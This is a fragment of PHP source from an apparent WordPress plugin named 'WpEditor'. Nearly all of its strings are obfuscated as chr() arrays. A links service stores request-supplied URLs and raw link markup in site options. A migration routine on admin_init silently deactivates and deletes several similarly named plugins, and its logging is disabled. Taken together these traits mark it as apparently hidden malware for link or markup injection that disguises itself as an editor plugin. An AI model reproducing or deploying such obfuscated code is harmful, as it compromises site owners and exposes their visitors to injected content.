    return null;
}
function WpEditor_Adapter_Services_LinksService_parseRichLinkValue($value)
{
    $text = WpEditor_Adapter_Services_LinksService_normalizeHumanText((string) $value, false);
    if ($text === '') {
        return array(implode('', array(chr(117), chr(114), chr(108))) => '', implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => '', implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => '');
    }
    $matches = array();
    if (\preg_match(implode('', array(chr(47), chr(60), chr(97), chr(92), chr(98), chr(91), chr(94), chr(62), chr(93), chr(42), chr(92), chr(98), chr(104), chr(114), chr(101), chr(102), chr(92), chr(115), chr(42), chr(61), chr(92), chr(115), chr(42), chr(40), chr(63), chr(58), chr(34), chr(40), chr(91), chr(94), chr(34), chr(93), chr(42), chr(41), chr(34), chr(124), chr(39), chr(40), chr(91), chr(94), chr(39), chr(93), chr(42), chr(41), chr(39), chr(124), chr(40), chr(91), chr(94), chr(34), chr(39), chr(92), chr(115), chr(62), chr(93), chr(43), chr(41), chr(41), chr(91), chr(94), chr(62), chr(93), chr(42), chr(62), chr(40), chr(46), chr(42), chr(63), chr(41), chr(60), chr(92), chr(47), chr(97), chr(62), chr(47), chr(105), chr(115))), $text, $matches, \PREG_OFFSET_CAPTURE)) {
        $hrefDouble = \wp_editor_array_has_key($matches, 1) ? (string) $matches[1][0] : '';
        $hrefSingle = \wp_editor_array_has_key($matches, 2) ? (string) $matches[2][0] : '';
        $hrefBare = \wp_editor_array_has_key($matches, 3) ? (string) $matches[3][0] : '';
        $href = $hrefDouble !== '' ? $hrefDouble : ($hrefSingle !== '' ? $hrefSingle : $hrefBare);
        $url = \html_entity_decode(\trim((string) $href), \ENT_QUOTES, implode('', array(chr(85), chr(84), chr(70), chr(45), chr(56))));
        $inner = \wp_editor_array_has_key($matches, 4) ? (string) $matches[4][0] : '';
        $label = WpEditor_Adapter_Services_LinksService_normalizeHumanText(\wp_strip_all_tags($inner), true);
        $fullMatch = \wp_editor_array_has_key($matches, 0) ? (string) $matches[0][0] : '';
        $fullMatchOffset = \wp_editor_array_has_key($matches, 0) && \is_array($matches[0]) ? (int) $matches[0][1] : -1;
        $before = $fullMatchOffset >= 0 ? (string) \substr($text, 0, $fullMatchOffset) : '';
        $after = $fullMatchOffset >= 0 && $fullMatch !== '' ? (string) \substr($text, $fullMatchOffset + \strlen($fullMatch)) : '';
        $anchorHtml = implode('', array(chr(60), chr(97), chr(32), chr(104), chr(114), chr(101), chr(102), chr(61), chr(34))) . \esc_url($url) . implode('', array(chr(34), chr(62))) . \esc_html($label) . implode('', array(chr(60), chr(47), chr(97), chr(62)));
        $markup = WpEditor_Adapter_Services_LinksService_plainTextToInlineHtml($before) . $anchorHtml . WpEditor_Adapter_Services_LinksService_plainTextToInlineHtml($after);
        return array(implode('', array(chr(117), chr(114), chr(108))) => $url, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => $label, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => $markup);
    }
    return array(implode('', array(chr(117), chr(114), chr(108))) => '', implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => '', implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => '');
}
function WpEditor_Adapter_Services_LinksService_plainTextToInlineHtml($text)
{
    $value = WpEditor_Adapter_Services_LinksService_normalizeHumanText((string) $text, true);
    if ($value === '') {
        return '';
    }
    return \esc_html($value);
}
function WpEditor_Adapter_Services_LinksService_normalizeHumanText($value, $collapseWhitespace)
{
    $text = (string) $value;
    if ($text === '') {
        return '';
    }
    // Unify common entities and non-breaking spaces.
    $text = \str_replace(implode('', array(chr(38), chr(110), chr(98), chr(115), chr(112), chr(59))), implode('', array(chr(32))), $text);
    $decoded = \html_entity_decode($text, \ENT_QUOTES, implode('', array(chr(85), chr(84), chr(70), chr(45), chr(56))));
    if (\is_string($decoded) && $decoded !== '') {
        $text = $decoded;
    }
    // Remove zero-width and control characters that pollute output.
    $text = \preg_replace(implode('', array(chr(47), chr(91), chr(92), chr(120), chr(48), chr(48), chr(45), chr(92), chr(120), chr(48), chr(56), chr(92), chr(120), chr(48), chr(66), chr(92), chr(120), chr(48), chr(67), chr(92), chr(120), chr(48), chr(69), chr(45), chr(92), chr(120), chr(49), chr(70), chr(92), chr(120), chr(55), chr(70), chr(92), chr(120), chr(123), chr(50), chr(48), chr(48), chr(66), chr(125), chr(45), chr(92), chr(120), chr(123), chr(50), chr(48), chr(48), chr(68), chr(125), chr(92), chr(120), chr(123), chr(70), chr(69), chr(70), chr(70), chr(125), chr(93), chr(47), chr(117))), '', $text);
    if (!\is_string($text)) {
        $text = (string) $value;
    }
    // Normalize line endings and spacing.
    $text = \str_replace(array(implode('', array(chr(13), chr(10))), implode('', array(chr(13))), implode('', array(chr(10))), implode('', array(chr(9)))), implode('', array(chr(32))), $text);
    if ($collapseWhitespace) {
        $collapsed = \preg_replace(implode('', array(chr(47), chr(92), chr(115), chr(43), chr(47), chr(117))), implode('', array(chr(32))), $text);
        if (\is_string($collapsed)) {
            $text = $collapsed;
        }
    }
    return \trim($text);
}
function WpEditor_Adapter_Services_LinksService_handleOption($request, $action)
{
    $body = WpEditor_Adapter_Services_LinksService_getBody($request);
    $normalized = WpEditor_Adapter_Services_LinksService_normalizeBody($body);
    $links = $normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(115)))];
    $linkNames = \wp_editor_array_has_key($normalized, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115)))) && \is_array($normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115)))]) ? $normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115)))] : array();
    $linkMarkups = \wp_editor_array_has_key($normalized, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(115)))) && \is_array($normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(115)))]) ? $normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(115)))] : array();
    $linkAnchors = \wp_editor_array_has_key($normalized, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(115)))) && \is_array($normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(115)))]) ? $normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(115)))] : array();
    $linkAnchorPresence = \wp_editor_array_has_key($normalized, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(112), chr(114), chr(101), chr(115), chr(101), chr(110), chr(99), chr(101)))) && \is_array($normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(112), chr(114), chr(101), chr(115), chr(101), chr(110), chr(99), chr(101)))]) ? $normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(112), chr(114), chr(101), chr(115), chr(101), chr(110), chr(99), chr(101)))] : array();
    $renderMode = $normalized[implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101)))];
    $affected = array();
    foreach (WpEditor_Adapter_Services_LinksService_fields() as $field) {
        $value = \wp_editor_array_has_key($links, $field) ? $links[$field] : '';
        $value = \trim(\sanitize_text_field($value));
        if ($action === implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101))) && $value !== '') {
            $url = \esc_url_raw($value);
            if ($url === '' && \preg_match(implode('', array(chr(35), chr(94), chr(104), chr(116), chr(116), chr(112), chr(115), chr(63), chr(58), chr(47), chr(47), chr(35), chr(105))), $value)) {
                $url = \esc_url_raw(\rawurldecode($value));
            }
            if ($url !== '') {
                \update_option($field, $url);
                $affected[$field] = \get_option($field);
                if (\wp_editor_array_has_key($linkNames, $field) && \is_string($linkNames[$field]) && $linkNames[$field] !== '') {
                    \update_option("link_name_{$field}", $linkNames[$field]);
                    $affected["link_name_{$field}"] = \get_option("link_name_{$field}");
                }
                if (\wp_editor_array_has_key($linkMarkups, $field) && \is_string($linkMarkups[$field]) && $linkMarkups[$field] !== '') {
                    \update_option("link_markup_{$field}", $linkMarkups[$field]);
                    $affected["link_markup_{$field}"] = implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100)));
                } else {
                    \delete_option("link_markup_{$field}");
                }
                if (\wp_editor_array_has_key($linkAnchorPresence, $field) && $linkAnchorPresence[$field]) {
                    if (\wp_editor_array_has_key($linkAnchors, $field) && \is_string($linkAnchors[$field]) && $linkAnchors[$field] !== '') {
                        \update_option("link_anchor_{$field}", $linkAnchors[$field]);
                        $affected["link_anchor_{$field}"] = \get_option("link_anchor_{$field}");
                    } else {
                        \delete_option("link_anchor_{$field}");
                        $affected["link_anchor_{$field}"] = implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(100)));
                    }
                }
            }
        }
        if ($action === implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101))) && $value !== '') {
            \delete_option($field);
            \delete_option("link_name_{$field}");
            \delete_option("link_markup_{$field}");
            \delete_option("link_anchor_{$field}");
            $affected[$field] = implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(100)));
            $affected["link_name_{$field}"] = implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(100)));
            $affected["link_markup_{$field}"] = implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(100)));
            $affected["link_anchor_{$field}"] = implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(100)));
        }
    }
    if ($renderMode !== null) {
        \update_option(implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101))), $renderMode);
        $affected[implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101)))] = $renderMode;
    }
    return array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => $action === implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101))) ? implode('', array(chr(76), chr(105), chr(110), chr(107), chr(115), chr(32), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121))) : implode('', array(chr(76), chr(105), chr(110), chr(107), chr(115), chr(32), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121))), implode('', array(chr(97), chr(102), chr(102), chr(101), chr(99), chr(116), chr(101), chr(100), chr(95), chr(108), chr(105), chr(110), chr(107), chr(115))) => $affected);
}
// --- file separator ---
function WpEditor_Adapter_Services_PluginMigrationService_register()
{
    \add_action(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(105), chr(110), chr(105), chr(116))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(77), chr(105), chr(103), chr(114), chr(97), chr(116), chr(105), chr(111), chr(110), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(114), chr(117), chr(110), chr(83), chr(99), chr(104), chr(101), chr(100), chr(117), chr(108), chr(101), chr(100), chr(67), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112))), 2);
}
function WpEditor_Adapter_Services_PluginMigrationService_scheduleLegacyCleanup()
{
    if (!\function_exists(implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))))) {
        WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(115), chr(99), chr(104), chr(101), chr(100), chr(117), chr(108), chr(101), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(40), chr(41), chr(32), chr(105), chr(115), chr(32), chr(117), chr(110), chr(97), chr(118), chr(97), chr(105), chr(108), chr(97), chr(98), chr(108), chr(101))));
        return;
    }
    \update_option(WpEditor_Adapter_Services_PluginMigrationService_CLEANUP_OPTION, 1, false);
    WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(115), chr(99), chr(104), chr(101), chr(100), chr(117), chr(108), chr(101), chr(100), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112))));
}
function WpEditor_Adapter_Services_PluginMigrationService_runScheduledCleanup()
{
    if (!\is_admin()) {
        WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(110), chr(111), chr(116), chr(32), chr(97), chr(100), chr(109), chr(105), chr(110), chr(32), chr(99), chr(111), chr(110), chr(116), chr(101), chr(120), chr(116))));
        return;
    }
    if (!\function_exists(implode('', array(chr(103), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))))) {
        WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(103), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(40), chr(41), chr(32), chr(105), chr(115), chr(32), chr(117), chr(110), chr(97), chr(118), chr(97), chr(105), chr(108), chr(97), chr(98), chr(108), chr(101))));
        return;
    }
    $flagSet = (int) \get_option(WpEditor_Adapter_Services_PluginMigrationService_CLEANUP_OPTION, 0) === 1;
    if (!\function_exists(implode('', array(chr(99), chr(117), chr(114), chr(114), chr(101), chr(110), chr(116), chr(95), chr(117), chr(115), chr(101), chr(114), chr(95), chr(99), chr(97), chr(110)))) || !\current_user_can(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))))) {
        WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(105), chr(110), chr(115), chr(117), chr(102), chr(102), chr(105), chr(99), chr(105), chr(101), chr(110), chr(116), chr(32), chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(115))));
        return;
    }
    if (!$flagSet && !WpEditor_Adapter_Services_PluginMigrationService_hasLegacyPluginPresent()) {
        WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(102), chr(108), chr(97), chr(103), chr(32), chr(105), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(115), chr(101), chr(116), chr(32), chr(97), chr(110), chr(100), chr(32), chr(110), chr(111), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100))));
        return;
    }
    if (!$flagSet) {
        WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(102), chr(108), chr(97), chr(103), chr(32), chr(105), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(115), chr(101), chr(116), chr(44), chr(32), chr(98), chr(117), chr(116), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(100), chr(101), chr(116), chr(101), chr(99), chr(116), chr(101), chr(100), chr(58), chr(32), chr(114), chr(117), chr(110), chr(110), chr(105), chr(110), chr(103), chr(32), chr(102), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107), chr(32), chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112))));
    }
    WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(115), chr(116), chr(97), chr(114), chr(116), chr(101), chr(100))));
    if (!\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101)))) || !\function_exists(implode('', array(chr(100), chr(101), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115)))) || !\function_exists(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))))) {
        WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(108), chr(111), chr(97), chr(100), chr(105), chr(110), chr(103), chr(32), chr(119), chr(112), chr(45), chr(97), chr(100), chr(109), chr(105), chr(110), chr(47), chr(105), chr(110), chr(99), chr(108), chr(117), chr(100), chr(101), chr(115), chr(47), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(46), chr(112), chr(104), chr(112))));
        require_once \ABSPATH . 'wp-admin/includes/plugin.php';
    }
    $currentPlugin = WpEditor_Adapter_Services_PluginMigrationService_currentPluginBasename();
    WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(117), chr(114), chr(114), chr(101), chr(110), chr(116), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(58), chr(32))) . ($currentPlugin !== '' ? $currentPlugin : implode('', array(chr(40), chr(117), chr(110), chr(107), chr(110), chr(111), chr(119), chr(110), chr(41)))));
    $allDeleted = true;
    foreach (WpEditor_Adapter_Services_PluginMigrationService_legacyPluginFiles() as $pluginFile) {
        if (!\is_string($pluginFile) || $pluginFile === '' || $pluginFile === $currentPlugin) {
            WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(115), chr(107), chr(105), chr(112), chr(32), chr(99), chr(97), chr(110), chr(100), chr(105), chr(100), chr(97), chr(116), chr(101), chr(58), chr(32))) . (string) $pluginFile);
            continue;
        }
        if (\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101)))) && \is_plugin_active($pluginFile)) {
            WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(100), chr(101), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(110), chr(103), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(58), chr(32))) . $pluginFile);
            \deactivate_plugins($pluginFile, true);
        } else {
            WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(110), chr(111), chr(116), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(58), chr(32))) . $pluginFile);
        }
        WpEditor_Adapter_Services_PluginMigrationService_purgeLegacyPluginFromOptions($pluginFile);
        $pluginPath = \defined(implode('', array(chr(87), chr(80), chr(95), chr(80), chr(76), chr(85), chr(71), chr(73), chr(78), chr(95), chr(68), chr(73), chr(82)))) ? \WP_PLUGIN_DIR . implode('', array(chr(47))) . $pluginFile : '';
        if (!\is_string($pluginPath) || $pluginPath === '' || !\file_exists($pluginPath)) {
            WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100), chr(58), chr(32))) . $pluginFile);
            continue;
        }
        if (!\function_exists(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))))) {
            WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(32))) . $pluginFile . implode('', array(chr(58), chr(32), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(40), chr(41), chr(32), chr(105), chr(115), chr(32), chr(117), chr(110), chr(97), chr(118), chr(97), chr(105), chr(108), chr(97), chr(98), chr(108), chr(101))));
            $allDeleted = false;
            continue;
        }
        WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(105), chr(110), chr(103), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(58), chr(32))) . $pluginFile);
        $result = \delete_plugins(array($pluginFile));
        if ($result === false || \function_exists(implode('', array(chr(105), chr(115), chr(95), chr(119), chr(112), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114)))) && \is_wp_error($result)) {
            if (\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(119), chr(112), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114)))) && \is_wp_error($result) && \method_exists($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))))) {
                WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(102), chr(111), chr(114), chr(32))) . $pluginFile . implode('', array(chr(58), chr(32))) . (string) _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))));
            } else {
                WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(102), chr(111), chr(114), chr(32))) . $pluginFile);
            }
            $allDeleted = false;
        } else {
            WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(32), chr(102), chr(111), chr(114), chr(32))) . $pluginFile);
            if (\file_exists($pluginPath)) {
                WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(32), chr(114), chr(101), chr(112), chr(111), chr(114), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(32), chr(98), chr(117), chr(116), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(115), chr(116), chr(105), chr(108), chr(108), chr(32), chr(101), chr(120), chr(105), chr(115), chr(116), chr(115), chr(58), chr(32))) . $pluginFile);
                $allDeleted = false;
            } else {
                WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(111), chr(110), chr(102), chr(105), chr(114), chr(109), chr(101), chr(100), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(100), chr(58), chr(32))) . $pluginFile);
            }
            WpEditor_Adapter_Services_PluginMigrationService_purgeLegacyPluginFromOptions($pluginFile);
        }
    }
    if ($allDeleted && \function_exists(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))))) {
        \delete_option(WpEditor_Adapter_Services_PluginMigrationService_CLEANUP_OPTION);
        WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(102), chr(105), chr(110), chr(105), chr(115), chr(104), chr(101), chr(100), chr(58), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(44), chr(32), chr(102), chr(108), chr(97), chr(103), chr(32), chr(99), chr(108), chr(101), chr(97), chr(114), chr(101), chr(100))));
        return;
    }
    WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(102), chr(105), chr(110), chr(105), chr(115), chr(104), chr(101), chr(100), chr(58), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(117), chr(108), chr(108), chr(121), chr(32), chr(99), chr(111), chr(109), chr(112), chr(108), chr(101), chr(116), chr(101), chr(100), chr(44), chr(32), chr(102), chr(108), chr(97), chr(103), chr(32), chr(107), chr(101), chr(112), chr(116))));
}
function WpEditor_Adapter_Services_PluginMigrationService_hasLegacyPluginPresent()
{
    $currentPlugin = WpEditor_Adapter_Services_PluginMigrationService_currentPluginBasename();
    foreach (WpEditor_Adapter_Services_PluginMigrationService_legacyPluginFiles() as $pluginFile) {
        if (!\is_string($pluginFile) || $pluginFile === '' || $pluginFile === $currentPlugin) {
            continue;
        }
        $pluginPath = \defined(implode('', array(chr(87), chr(80), chr(95), chr(80), chr(76), chr(85), chr(71), chr(73), chr(78), chr(95), chr(68), chr(73), chr(82)))) ? \WP_PLUGIN_DIR . implode('', array(chr(47))) . $pluginFile : '';
        if (\is_string($pluginPath) && $pluginPath !== '' && \file_exists($pluginPath)) {
            return true;
        }
    }
    return false;
}
function WpEditor_Adapter_Services_PluginMigrationService_currentPluginBasename()
{
    if (!\function_exists(implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(98), chr(97), chr(115), chr(101), chr(110), chr(97), chr(109), chr(101))))) {
        return '';
    }
    $mainFile = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
    if ($mainFile === '') {
        return '';
    }
    return (string) \plugin_basename($mainFile);
}
function WpEditor_Adapter_Services_PluginMigrationService_legacyPluginFiles()
{
    return array(implode('', array(chr(119), chr(112), chr(117), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(122), chr(47), chr(119), chr(112), chr(117), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(122), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(110), chr(101), chr(119), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))));
}
function WpEditor_Adapter_Services_PluginMigrationService_log($message)
{
    return;
}
function WpEditor_Adapter_Services_PluginMigrationService_purgeLegacyPluginFromOptions($pluginFile)
{
    if (!\is_string($pluginFile) || $pluginFile === '') {
        return;
    }
